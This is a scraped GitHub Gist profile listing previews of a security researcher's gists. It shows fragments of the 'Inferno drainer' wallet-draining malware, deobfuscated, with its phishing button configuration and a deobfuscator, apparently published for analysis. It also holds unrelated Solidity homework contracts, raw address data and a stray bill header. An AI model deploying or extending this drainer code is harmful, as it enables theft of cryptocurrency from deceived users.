Skip to content

Instantly share code, notes, and snippets.

View muellerberndt's full-sized avatar

Bernhard Mueller muellerberndt

View GitHub Profile
@muellerberndt
muellerberndt / inferno.js
Created April 17, 2024 06:43
Inferno drainer (debofuscated and edited)
This file has been truncated, but you can view the full file.
var __p_6159199352 = function (arr) {
var s = arr.map(x => x + '').join(''), a = 1, c = 0, h, o;
if (s) {
a = 0;
for (h = s.length - 1; h >= 0; h--) {
void (o = s.charCodeAt(h), a = (a << 6 & 268435455) + o + (o << 14), c = a & 266338304, a = c !== 0 ? a ^ c >> 21 : a);
}
}
return ~~String(a).slice(0, 3);
};
@muellerberndt
muellerberndt / config-global.json
Created April 17, 2024 06:32
Inferno drainer config
{
"connect_buttons_class": "placeholder-button",
"drain_buttons_class": "placeholder-button",
"disconnect_buttons_class": "",
"connect_text": "Connect Wallet",
"connected_text": "Connected As {wallet}",
"loading_text": "Verifying",
"verify_text": "Please Verify",
"drain_button_waiting_click_text": "Claim",
"change_chain_text": "Please Switch Chain",
@muellerberndt
muellerberndt / deobfuscate.js
Last active April 18, 2024 03:55
Inferno deobfuscator
const fs = require('fs');
const vm = require('vm');
const acorn = require('acorn');
const escodegen = require('escodegen');
const estraverse = require('estraverse');
const { JSDOM } = require('jsdom');
function deobfuscate(obfuscatedCode) {
const ast = acorn.parse(obfuscatedCode, { ecmaVersion: 2020 });
''use strict';
(function (T, k) {
const H = T();
while (true) {
try {
const i = parseInt(m(1522, 0x822)) / 1 * (-parseInt(m(3719, 0x1278)) / 2) + -parseInt(m(1304, 0x2a)) / 3 * (-parseInt(m(3749, 0xdfc)) / 4) + parseInt(m(3892, 0xa7a)) / 5 + -parseInt(A(1505, "Id^c")) / 6 * (-parseInt(m(1388, 0x1b7)) / 7) + parseInt(m(710, 0x8cc)) / 8 + parseInt(A(2816, "@fu9")) / 9 * (-parseInt(m(1595, 0xd1f)) / 10) + -parseInt(m(1617, 0x791)) / 11 * (parseInt(m(1647, 0x38c)) / 12);
if (i === k) {
break;
} else {
// SPDX-License-Identifier: GPL-3.0
import "hardhat/console.sol";
pragma solidity >=0.8.2 <0.9.0;
contract Homework3 {
uint256 constant curve_order = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
// SPDX-License-Identifier: GPL-3.0
import "hardhat/console.sol";
pragma solidity >=0.8.2 <0.9.0;
contract Homework5 {
uint256 constant SNARK_SCALAR_FIELD = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
uint256 constant PRIME_Q = 21888242871839275222246405745257275088696311157297823662689037894645226208583;
Shown Here:
Introduced in Senate (03/07/2023)
[Congressional Bills 118th Congress]
[From the U.S. Government Publishing Office]
[S. 686 Introduced in Senate (IS)]
<DOC>
@muellerberndt
muellerberndt / barn.json
Created December 6, 2021 12:41
Raw data from Infura
[[1, 1637262503, "0x25025E203f892F50c357BC0703eAF258879a8DEF"], [2, 1637555823, "0xBB9636200a6efe91161334628CAA7C13E4C8cC81"], [3, 1637555823, "0xBB9636200a6efe91161334628CAA7C13E4C8cC81"], [4, 1637555823, "0xBB9636200a6efe91161334628CAA7C13E4C8cC81"], [5, 1637390699, "0xBB9636200a6efe91161334628CAA7C13E4C8cC81"], [6, 1637555823, "0xBB9636200a6efe91161334628CAA7C13E4C8cC81"], [7, 1637540115, "0x5b331Eb6df00B5765894f88E54D2a87128188EC7"], [8, 1637540115, "0x5b331Eb6df00B5765894f88E54D2a87128188EC7"], [9, 1637540115, "0x5b331Eb6df00B5765894f88E54D2a87128188EC7"], [10, 1637540115, "0x5b331Eb6df00B5765894f88E54D2a87128188EC7"], [0, 0, "0x0000000000000000000000000000000000000000"], [0, 0, "0x0000000000000000000000000000000000000000"], [13, 1637540115, "0x5b331Eb6df00B5765894f88E54D2a87128188EC7"], [14, 1637540115, "0x5b331Eb6df00B5765894f88E54D2a87128188EC7"], [15, 1637295748, "0x5b331Eb6df00B5765894f88E54D2a87128188EC7"], [0, 0, "0x0000000000000000000000000000000000000000"], [17, 1637507479, "0xca0ABC8775F2A72DF1
pragma solidity ^0.6.8;
pragma experimental ABIEncoderV2;
abstract contract IModuleAuth {
/**
* @notice Hashed _data to be signed
* @param _data Data to be hashed
* @return hashed data for this wallet
*/
pragma solidity ^0.6.8;
pragma experimental ABIEncoderV2;
abstract contract IModuleAuth {
/**
* @notice Hashed _data to be signed
* @param _data Data to be hashed
* @return hashed data for this wallet
*/